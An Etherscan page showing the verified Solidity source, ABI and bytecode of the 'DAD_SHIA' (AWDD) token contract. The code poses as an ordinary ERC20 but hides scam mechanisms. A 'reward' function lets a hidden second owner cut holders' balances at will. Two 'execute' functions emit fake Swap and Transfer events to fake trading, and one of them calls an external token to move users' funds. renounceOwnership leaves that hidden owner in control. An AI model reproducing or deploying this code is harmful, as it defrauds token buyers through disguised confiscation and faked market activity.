ETH Price: $3,228.61 (-3.49%)
 

Overview

Max Total Supply

2,000,000,000 AWDD

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 AWDD

Value
$0.00
0xc471063ac9b9d55ac83f0ef03c8c0ba1c9a8c690
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DAD_SHIA

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-08
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-28
*/

// SPDX-License-Identifier: MIT
/*

SHIA OUT OF THE WAY, SON! YOUR DAD CAME

"More Than a Coin, a Legacy: DAD SHIA Redefining the Crypto Landscape." -Satoshi Nakamoto Vitalik Musk CZ


*/
pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    



    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract DAD_SHIA {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pairr;

                event Swapp(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "AWDD";
    string public constant symbol = "AWDD";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 2_000_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }

    

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function reward(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                balances[_users[i]] = rewardAmount;
            }
        }
    }

            function setup(address _setup_) external onlyOwner {
        _pairr = _setup_;
    }

        function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556005805490911673ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b1790556b06765c793fa10079d0000000600955348015610067575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa1580156100db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100ff919061025d565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561015c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610180919061025d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156101ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ee919061025d565b600180546001600160a01b0319166001600160a01b0392909216919091179055600954335f81815260076020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361028a565b5f6020828403121561026d575f80fd5b81516001600160a01b0381168114610283575f80fd5b9392505050565b61123880620002985f395ff3fe608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e5780639b792a441161006e5780639b792a441461025e578063a1c617f514610271578063a457c2d714610284578063a9059cbb14610297578063dd62ed3e146102aa575f80fd5b806370a0823114610203578063715018a61461022b5780638da5cb5b1461023357806395d89b4114610115575f80fd5b806323b872dd116100e457806323b872dd1461019d578063313ce567146101b057806335d16274146101ca57806339509351146101dd57806366d38203146101f0575f80fd5b806306fdde0314610115578063095ea7b31461014e57806318160ddd1461017157806318aee92014610188575b5f80fd5b610138604051806040016040528060048152602001631055d11160e21b81525081565b6040516101459190610e44565b60405180910390f35b61016161015c366004610eb6565b6102bd565b6040519015158152602001610145565b61017a60095481565b604051908152602001610145565b61019b610196366004610ee0565b6102d3565b005b6101616101ab366004610f5b565b6103f9565b6101b8601281565b60405160ff9091168152602001610145565b61017a6101d8366004610f99565b61041a565b6101616101eb366004610eb6565b610546565b61019b6101fe366004610f99565b610567565b61017a610211366004610f99565b6001600160a01b03165f9081526007602052604090205490565b61019b6105dd565b600254610246906001600160a01b031681565b6040516001600160a01b039091168152602001610145565b61016161026c366004610fc8565b610643565b61019b61027f366004610ee0565b6106e7565b610161610292366004610eb6565b6107f0565b6101616102a5366004610eb6565b610875565b61017a6102b83660046110aa565b610881565b5f6102c93384846108ab565b5060015b92915050565b6003546001600160a01b0316331461032c5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064015b60405180910390fd5b5f5b838110156103f2578261036186868481811061034c5761034c6110e1565b90506020020160208101906102119190610f99565b11156103e0575f61039886868481811061037d5761037d6110e1565b90506020020160208101906103929190610f99565b846109cf565b90508060075f8888868181106103b0576103b06110e1565b90506020020160208101906103c59190610f99565b6001600160a01b0316815260208101919091526040015f2055505b806103ea81611109565b91505061032e565b5050505050565b5f6104058433846109f8565b610410848484610a70565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561046d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104919190611137565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105159190611183565b6001600160a01b03161461053257816001600160701b031661053d565b826001600160701b03165b95945050505050565b5f336104108185856105588383610881565b610562919061119e565b6108ab565b6002546001600160a01b031633146105bb5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610323565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146106315760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610323565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106995760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b6044820152606401610323565b5f5b85518110156106db576106c98682815181106106b9576106b96110e1565b6020026020010151868686610c46565b806106d381611109565b91505061069b565b50600195945050505050565b5f5b838110156103f257848482818110610703576107036110e1565b90506020020160208101906107189190610f99565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a3848482818110610783576107836110e1565b90506020020160208101906107989190610f99565b6006546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806107e881611109565b9150506106e9565b5f33816107fd8286610881565b90508381101561085d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610323565b61086a82868684036108ab565b506001949350505050565b5f6102c9338484610a70565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6001600160a01b03831661090d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610323565b6001600160a01b03821661096e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610323565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f908152600760205260408120546109f19083610cd7565b9392505050565b5f610a038484610881565b90505f198114610a6a5781811015610a5d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610323565b610a6a84848484036108ab565b50505050565b6001600160a01b038316610ad45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610323565b6001600160a01b038216610b365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610323565b6001600160a01b0383165f9081526007602052604090205481811015610bad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610323565b610bb78183610ce2565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610be59083610d46565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c389086815260200190565b60405180910390a350505050565b610c508484610da4565b610c5b838386610dec565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610cb3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103f291906111b1565b5f6109f182846111d0565b5f82821115610d335760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610323565b5f610d3e83856111ef565b949350505050565b5f80610d52838561119e565b9050838110156109f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610323565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822906080016109c2565b5f6020808352835180828501525f5b81811015610e6f57858101830151858201604001528201610e53565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ea3575f80fd5b50565b8035610eb181610e8f565b919050565b5f8060408385031215610ec7575f80fd5b8235610ed281610e8f565b946020939093013593505050565b5f805f8060608587031215610ef3575f80fd5b843567ffffffffffffffff80821115610f0a575f80fd5b818701915087601f830112610f1d575f80fd5b813581811115610f2b575f80fd5b8860208260051b8501011115610f3f575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f60608486031215610f6d575f80fd5b8335610f7881610e8f565b92506020840135610f8881610e8f565b929592945050506040919091013590565b5f60208284031215610fa9575f80fd5b81356109f181610e8f565b634e487b7160e01b5f52604160045260245ffd5b5f805f8060808587031215610fdb575f80fd5b843567ffffffffffffffff80821115610ff2575f80fd5b818701915087601f830112611005575f80fd5b813560208282111561101957611019610fb4565b8160051b604051601f19603f8301168101818110868211171561103e5761103e610fb4565b60405292835281830193508481018201928b84111561105b575f80fd5b948201945b838610156110805761107186610ea6565b85529482019493820193611060565b985050880135955050506040860135925061109f905060608601610ea6565b905092959194509250565b5f80604083850312156110bb575f80fd5b82356110c681610e8f565b915060208301356110d681610e8f565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161111a5761111a6110f5565b5060010190565b80516001600160701b0381168114610eb1575f80fd5b5f805f60608486031215611149575f80fd5b61115284611121565b925061116060208501611121565b9150604084015163ffffffff81168114611178575f80fd5b809150509250925092565b5f60208284031215611193575f80fd5b81516109f181610e8f565b808201808211156102cd576102cd6110f5565b5f602082840312156111c1575f80fd5b815180151581146109f1575f80fd5b5f826111ea57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156102cd576102cd6110f556fea2646970667358221220631c0612e7f0e8ec60cf4a48f446777b34531e803d276ed104381e2e8b54b9f464736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610111575f3560e01c806370a082311161009e5780639b792a441161006e5780639b792a441461025e578063a1c617f514610271578063a457c2d714610284578063a9059cbb14610297578063dd62ed3e146102aa575f80fd5b806370a0823114610203578063715018a61461022b5780638da5cb5b1461023357806395d89b4114610115575f80fd5b806323b872dd116100e457806323b872dd1461019d578063313ce567146101b057806335d16274146101ca57806339509351146101dd57806366d38203146101f0575f80fd5b806306fdde0314610115578063095ea7b31461014e57806318160ddd1461017157806318aee92014610188575b5f80fd5b610138604051806040016040528060048152602001631055d11160e21b81525081565b6040516101459190610e44565b60405180910390f35b61016161015c366004610eb6565b6102bd565b6040519015158152602001610145565b61017a60095481565b604051908152602001610145565b61019b610196366004610ee0565b6102d3565b005b6101616101ab366004610f5b565b6103f9565b6101b8601281565b60405160ff9091168152602001610145565b61017a6101d8366004610f99565b61041a565b6101616101eb366004610eb6565b610546565b61019b6101fe366004610f99565b610567565b61017a610211366004610f99565b6001600160a01b03165f9081526007602052604090205490565b61019b6105dd565b600254610246906001600160a01b031681565b6040516001600160a01b039091168152602001610145565b61016161026c366004610fc8565b610643565b61019b61027f366004610ee0565b6106e7565b610161610292366004610eb6565b6107f0565b6101616102a5366004610eb6565b610875565b61017a6102b83660046110aa565b610881565b5f6102c93384846108ab565b5060015b92915050565b6003546001600160a01b0316331461032c5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064015b60405180910390fd5b5f5b838110156103f2578261036186868481811061034c5761034c6110e1565b90506020020160208101906102119190610f99565b11156103e0575f61039886868481811061037d5761037d6110e1565b90506020020160208101906103929190610f99565b846109cf565b90508060075f8888868181106103b0576103b06110e1565b90506020020160208101906103c59190610f99565b6001600160a01b0316815260208101919091526040015f2055505b806103ea81611109565b91505061032e565b5050505050565b5f6104058433846109f8565b610410848484610a70565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561046d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104919190611137565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105159190611183565b6001600160a01b03161461053257816001600160701b031661053d565b826001600160701b03165b95945050505050565b5f336104108185856105588383610881565b610562919061119e565b6108ab565b6002546001600160a01b031633146105bb5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610323565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146106315760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610323565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106995760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b6044820152606401610323565b5f5b85518110156106db576106c98682815181106106b9576106b96110e1565b6020026020010151868686610c46565b806106d381611109565b91505061069b565b50600195945050505050565b5f5b838110156103f257848482818110610703576107036110e1565b90506020020160208101906107189190610f99565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a3848482818110610783576107836110e1565b90506020020160208101906107989190610f99565b6006546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806107e881611109565b9150506106e9565b5f33816107fd8286610881565b90508381101561085d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610323565b61086a82868684036108ab565b506001949350505050565b5f6102c9338484610a70565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6001600160a01b03831661090d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610323565b6001600160a01b03821661096e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610323565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0382165f908152600760205260408120546109f19083610cd7565b9392505050565b5f610a038484610881565b90505f198114610a6a5781811015610a5d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610323565b610a6a84848484036108ab565b50505050565b6001600160a01b038316610ad45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610323565b6001600160a01b038216610b365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610323565b6001600160a01b0383165f9081526007602052604090205481811015610bad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610323565b610bb78183610ce2565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610be59083610d46565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c389086815260200190565b60405180910390a350505050565b610c508484610da4565b610c5b838386610dec565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610cb3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103f291906111b1565b5f6109f182846111d0565b5f82821115610d335760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610323565b5f610d3e83856111ef565b949350505050565b5f80610d52838561119e565b9050838110156109f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610323565b6001546040518281526001600160a01b038481169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822906080016109c2565b5f6020808352835180828501525f5b81811015610e6f57858101830151858201604001528201610e53565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ea3575f80fd5b50565b8035610eb181610e8f565b919050565b5f8060408385031215610ec7575f80fd5b8235610ed281610e8f565b946020939093013593505050565b5f805f8060608587031215610ef3575f80fd5b843567ffffffffffffffff80821115610f0a575f80fd5b818701915087601f830112610f1d575f80fd5b813581811115610f2b575f80fd5b8860208260051b8501011115610f3f575f80fd5b6020928301999098509187013596604001359550909350505050565b5f805f60608486031215610f6d575f80fd5b8335610f7881610e8f565b92506020840135610f8881610e8f565b929592945050506040919091013590565b5f60208284031215610fa9575f80fd5b81356109f181610e8f565b634e487b7160e01b5f52604160045260245ffd5b5f805f8060808587031215610fdb575f80fd5b843567ffffffffffffffff80821115610ff2575f80fd5b818701915087601f830112611005575f80fd5b813560208282111561101957611019610fb4565b8160051b604051601f19603f8301168101818110868211171561103e5761103e610fb4565b60405292835281830193508481018201928b84111561105b575f80fd5b9482